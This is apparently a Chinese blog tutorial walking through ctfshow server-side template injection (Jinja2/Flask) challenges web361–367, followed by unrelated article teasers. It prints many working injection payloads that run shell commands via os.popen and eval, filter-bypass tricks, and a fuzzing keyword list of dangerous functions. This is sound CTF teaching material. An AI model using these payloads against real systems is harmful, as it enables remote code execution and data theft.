ctfshowweb入门 SSTI模板注入专题保姆级教程(一)

ctfshowweb入门 SSTI模板注入专题保姆级教程(一)

前言:本来这篇是不打算写的,自己稍微记录一下就行了,但是我发现后面的题难度也挺大的,而且好多更细的不记录后面也容易忘记,并且网上很多师傅讲的直接是payload(我还是太菜了看不懂),有很多都是我没见到过的,因此这里综合记录一下(其实最重要的是在这里写的能保存成pdf)同时也是对自己找的资料进行一个汇总

web361

这里我之前详细讲过了就不再赘述,ctfshowweb361--一道题从0入门SSTI模板注入,这里面也是直接从0基础讲起,如果还是有不懂的网上再找点资料看看【我最后也放了参考】,后续题目都是在这基础上进行的,熟悉了361的方法之后才能继续做后面题目。

web362

按照之前的方法进行尝试,发现过滤了除1和7以外的数字,而我们要找的是132,因此这里可以采用全角符号绕过【具体怎么开问下AI就行,因为我用的是Windows自带的,在设置里面进行设置,然后可能有的人用了其他输入法之类的,所以这里就不上图了】

实在找不到的话我直接打在下面:

1234567890 (全角 可以对比半角:1234567890)

然后就是输入我们的payload:

?name={{"".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}} ?name={{''.__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cat /flag").read()')}} 

或者可以不输入数字,之前在361中我们用到了config:

?name={{ config.__class__.__init__.__globals__['os'].popen('cat /flag').read() }}

然后我在网上找别的师傅的wp时看到了另一种:

?name={{x.__init__.__globals__['__builtins__'].eval('__import__("os").popen("cat /flag").read()')}} x 任意存在的变量(可能是未定义的,触发错误时暴露信息) .__init__ 获取变量x的初始化方法 .__globals__ 获取该方法所在的全局命名空间 ['__builtins__'] 从全局空间中取出内置函数模块 .eval() 调用eval函数执行代码 '__import__("os").popen("cat /flag").read()' 要执行的Python代码

它比传统的 ''.__class__.__bases__[0].__subclasses__() 更简洁,而且可能绕过一些针对特定类名的过滤,但是当x不存在(未定义)时,会返回空或者报错,这时候还可以用的方法为用确实存在的方法替换x:

?name={{ lipsum.__globals__['__builtins__'].eval('__import__("os").popen("cat /flag").read()') }} # 生成lorem ipsum文本的函数(模板全局变量,几乎一定有,并且最稳定) ?name={{ url_for.__globals__['__builtins__'].eval('__import__("os").popen("cat /flag").read()') }} #URL生成函数(Flask特有的上下文变量) ?name={{ get_flashed_messages.__globals__['__builtins__'].eval('__import__("os").popen("cat /flag").read()') }} # flash消息函数 Flask特有的上下文变量 ?name={{ self.__init__.__globals__['__builtins__'].eval('__import__("os").popen("cat /flag").read()') }}

那这些就跟之前的config差不多了。

web363

这里测试了一下过滤了单双引号,而这个可以用request绕过【允许我们把字符串从模板内部"移"到URL参数中,从而避免在模板代码里直接使用引号】

属性作用绕过场景
request.argsGET请求参数args被过滤时可用values
request.valuesGET和POST所有参数最常用,替代args
request.cookiesCookie中的值当参数也被过滤时
request.headersHTTP头终极备选
request.formPOST表单数据需要POST请求

这里选一个就行,但是要注意不同属性后面参数放的位置:

?name={{ config.__class__.__init__.__globals__[request.values.a].popen(request.values.b).read() }} &a=os &b=cat /flag

也可以构造空字符串:

web364

这里过滤了args和引号

?name={{ config.__class__.__init__.__globals__[request.values.a].popen(request.values.b).read() }}&a=os&b=cat /flag ?name={{x.__init__.__globals__[request.cookies.x1].eval(request.cookies.x2)}} cookie传值 Cookie:x1=__builtins__;x2=__import__('os').popen('cat /flag').read() 

然后这里其实还可以用chr函数来做,但有点麻烦,所以放到后面再讲。

web365

一个个尝试的话其实过滤多了就有点麻烦,所以这里找AI要个字典fuzz一波:

[ ] _ { } {{ }} {% %} {%if {%endif {%print( 1 2 3 4 5 6 7 8 9 0 ① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ 0 1 2 3 4 5 6 7 8 9 ' " + %2B %2b / // \\ \ %0a %0d %09 %20 %2f join() join u os popen system exec eval open read __import__ importlib linecache subprocess Popen commands pty platform sys |attr() |attr request args value cookie headers environ session g config app self lipsum cycler url_for current_app get_flashed_messages __class__ __base__ __bases__ __mro__ __subclasses__ __subclasses__() __builtins__ __init__ __globals__ __dict__ __dic__ __getattribute__ __getattribute__() __getitem__ __getitem__() __str__ __str__() __call__ __name__ __module__ _wrap_close catch_warnings WarningMessage _Printer

具体怎么fuzz的话就是hackbar里先输入如下,开代理后再execute

然后bp里面发送到intruder,依旧sniper,设个爆破点:

然后长度点一下排个序,发现有几个不一样的,再看看响应就行,那么从这里就看出过滤了中括号,引号和args:

这里就可以使用 __getitem__() 方法

# 原写法 {{ [].__class__.__bases__[0] }} # ↑中括号 # 绕过写法 {{ [].__class__.__bases__.__getitem__(0) }} # ↑用__getitem__()代替

具体payload如下:

?name={{config.__class__.__init__.__globals__.__getitem__(request.values.a).popen(request.values.b).read()}} &a=os &b=cat /flag 或者不用中括号: ?name={{x.__init__.__globals__.__builtins__.eval(request.values.cmd)}} &cmd=__import__('os').popen('cat /f*').read()

web366

fuzz一波发现又增加了对下划线的过滤:

这里用到的是|attr()过滤器

# 原写法 {{ lipsum.__globals__ }} # 绕过(直接用字符串,但需要绕过引号) {{ lipsum|attr('__globals__') }} # 绕过 + 引号过滤(结合request) {{ lipsum|attr(request.values.a) }} &a=__globals__

这里的话因为request要用的比较多,因此可以这么写:

?name={% set c=request.values %}{{ config|attr(c.a)|attr(c.b)|attr(c.c)|attr(c.d)(c.e)|attr(c.f)(c.g)|attr(c.h)() }} &a=__class__ &b=__init__ &c=__globals__ &d=__getitem__ &e=os &f=popen &g=cat /flag &h=read {% set c = request.values %} # ↑ ↑ ↑ # 标签 变量名 值 {% ... %}:Jinja2的语句标签,用来执行逻辑操作 set:赋值关键字 c:要创建的变量名 request.values:要赋给变量的值 这样可以简化代码 # 不赋值,每次都要写长长一串 ?name={{ request.values.a }}{{ request.values.b }}{{ request.values.c }} # 赋值后,代码简洁多了 ?name={% set c=request.values %}{{ c.a }}{{ c.b }}{{ c.c }}

同样这里也可用别的进行简化,流程图如下:

# 从lipsum出发(最短)
{{ lipsum.__globals__['os'].popen('cat /flag').read() }}

# 从url_for出发
{{ url_for.__globals__['os'].popen('cat /flag').read() }}

# 从config出发(需要多走两步)
{{ config.__class__.__init__.__globals__['os'].popen('cat /flag').read() }}

# 从request出发
{{ request.__class__.__init__.__globals__['os'].popen('cat /flag').read() }}

因此这里我们可以用最短的lipsum出发,但是构造的时候直接硬写有点懵,还是换成一步步来:

第 1 步:|attr() 代替 .

lipsum|attr('__globals__') 这里的globals后面转成values

第 2 步:__getitem__() 代替 []

|attr('__getitem__')('os') os同样转为values

第 3 步:继续 |attr() 取 .popen

|attr('popen')('cat /flag')

第 4 步:最后 .read() 也是 |attr('read')()

那么我们最终生成这样的:

{% set c = request.values %} {{ lipsum |attr(c.a) # __globals__ |attr(c.b)(c.c) # __getitem__('os') |attr(c.d)(c.e) # popen('cat /flag') |attr(c.f)() # read() }} &a=__globals__ &b=__getitem__ &c=os &d=popen &e=cat /flag &f=read

(也是长开了)

web367

fuzz一下过滤了'' 、""、 [、 args、os、 _,然后这里上一题的也能还能用,然后网上看到别的师傅提到的:

{{lipsum.__globals.os}} {{lipsum|attr(request.values.q)|attr(request.values.o)}}&q=__globals__&o=os //这个不会执行 {{(lipsum|attr(request.values.q)).get(request.values.o)}}&q=__globals__&o=os //这个会执行 第一种写法不会执行,是因为 attr() 返回的是一个对象,我们不能直接用另一个 attr() 去获取这个对象的“键”。 第二种写法会执行,是因为它先用 attr() 拿到了 __globals__ 这个字典,然后显式地用 .get() 方法去取这个字典里的 'os' 键对应的值。

1. 为什么 {{lipsum|attr(request.values.q)|attr(request.values.o)}} 不工作?

  • lipsum|attr(request.values.q):这部分是正确的,它成功获取了 lipsum.__globals__ 这个字典。
  • |attr(request.values.o):问题出在这里。管道符 | 后面的 attr() 过滤器,它的作用是获取前一个结果对象的“属性”
  • lipsum.__globals__ 是一个字典。我们想要的是这个字典里键为 'os' 的(也就是 os 模块)。但 'os' 是字典的,不是这个字典对象的属性
    • 属性 是通过点号访问的,比如 __globals__.items(),这里的 items 就是属性。
    •  是通过中括号访问的,比如 __globals__['os']
  • 所以,我们用 attr() 去获取一个名为 'os' 的属性,但这个字典对象并没有一个叫 'os' 的属性,因此它返回 None 或者报错(取决于模板引擎的严格程度)。最终得不到 os 模块。

2. 为什么 {{(lipsum|attr(request.values.q)).get(request.values.o)}} 会执行?

这行代码巧妙地改变了操作顺序:

  • (lipsum|attr(request.values.q)):括号里的部分优先执行,成功拿到了 __globals__ 这个字典。
  • .get(request.values.o):拿到字典之后,这里使用了 Python 字典的原生方法 .get(key).get() 是 __globals__ 这个字典对象的方法(属性之一),专门用来根据键取值。我们把 request.values.o (值是 'os')作为参数传给它,它就能正确地从字典里取出 os 模块。

因此这里可以用的payload为:

?name={{(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read()}}&a=__globals__&b=os&c=cat /flag

后面的涉及的方法比较多样,并且比较复杂(盲注、反弹shell啥的),同时为了在写详细的基础上保持观感,所以就分成两块来写。

Read more

AI时代人人都是产品经理:落地流程:AI 核心功能,从需求到上线的全流程管控方法

AI时代人人都是产品经理:落地流程:AI 核心功能,从需求到上线的全流程管控方法

AI的普及正在重构产品经理的工作模式——不再依赖传统的跨部门协作瓶颈,AI可以成为产品经理的"全职助手",覆盖需求分析、原型设计、开发协同、测试验证全流程。本文将拆解AI时代产品核心功能从0到1落地的完整管控方法,让你用AI能力提升300%的落地效率。 一、需求阶段:AI辅助的需求挖掘与标准化 需求是产品的起点,AI可以帮你从海量信息中精准定位用户真实需求,避免"伪需求"浪费资源。 1. 需求挖掘:AI辅助用户洞察 传统需求调研依赖问卷、访谈,效率低且样本有限。AI可以通过以下方式快速完成用户洞察: * 结构化处理非结构化数据:用AI分析用户在社交媒体、客服对话、应用评论中的碎片化反馈,自动提炼高频需求点 * 需求优先级排序:基于KANO模型,AI可以自动将需求划分为基础型、期望型、兴奋型、无差异型四类,输出优先级列表 实战工具与示例: 使用GPT-4+Python脚本批量处理应用商店评论: import openai import pandas as

被问爆的Agent实战:从0到1搭建可落地AI智能体

被问爆的Agent实战:从0到1搭建可落地AI智能体

🎁个人主页:User_芊芊君子 🎉欢迎大家点赞👍评论📝收藏⭐文章 🔍系列专栏:AI 文章目录: * 【前言】 * 一、先搞懂:2026年爆火的AI Agent,到底是什么? * 1.1 Agent的核心定义 * 1.2 Agent的4大核心能力 * 1.3 2026年Agent的3个热门落地场景 * 二、框架选型:2026年6大主流Agent框架,新手该怎么选? * 三、实战环节:从0到1搭建可落地的“邮件处理Agent”(全程代码+步骤) * 3.1 实战准备:环境搭建(10分钟搞定) * 3.1.1 安装Python环境 * 3.1.2 创建虚拟环境(避免依赖冲突) * 3.

AI 自动化测试:接口测试全流程自动化的实现方法

AI 自动化测试:接口测试全流程自动化的实现方法

在 AI 技术飞速渗透各行各业的当下,我们早已告别 “谈 AI 色变” 的观望阶段,迈入 “用 AI 提效” 的实战时代 💡。无论是代码编写时的智能辅助 💻、数据处理中的自动化流程 📊,还是行业场景里的精准解决方案 ,AI 正以润物细无声的方式,重构着我们的工作逻辑与行业生态 🌱。曾几何时,我们需要花费数小时查阅文档 📚、反复调试代码 ⚙️,或是在海量数据中手动筛选关键信息 ,而如今,一个智能工具 🧰、一次模型调用 ⚡,就能将这些繁琐工作的效率提升数倍 📈。正是在这样的变革中,AI 相关技术与工具逐渐走进我们的工作场景,成为破解效率瓶颈、推动创新的关键力量 。今天,我想结合自身实战经验,带你深入探索 AI 技术如何打破传统工作壁垒 🧱,让 AI 真正从 “概念” 变为 “实用工具” ,为你的工作与行业发展注入新动能 ✨。 文章目录 * AI 自动化测试:接口测试全流程自动化的实现方法 🤖 * 为什么传统自动化测试“卡壳”

API 调用基础:执行式AI必备网络请求知识

API 调用基础:执行式AI必备网络请求知识

API 调用基础:执行式AI必备网络请求知识 📝 本章学习目标:本章是入门认知部分,帮助零基础读者建立对AI Agent的初步认知。通过本章学习,你将全面掌握"API 调用基础:执行式AI必备网络请求知识"这一核心主题。 一、引言:为什么这个话题如此重要 在AI Agent快速发展的今天,API 调用基础:执行式AI必备网络请求知识已经成为每个开发者和研究者必须了解的核心知识。无论你是技术背景还是非技术背景,理解这一概念都将帮助你更好地把握AI时代的机遇。 1.1 背景与意义 💡 核心认知:AI Agent正在从"对话工具"进化为"执行引擎",能够主动完成任务、调用工具、与外部世界交互。这一变革正在深刻改变我们的工作和生活方式。 从2023年AutoGPT的横空出世,到如今百花齐放的Agent生态,短短一年多时间,执行式AI已经从概念走向落地。根据最新统计,全球AI Agent市场规模已突破百亿美元,年增长率超过100%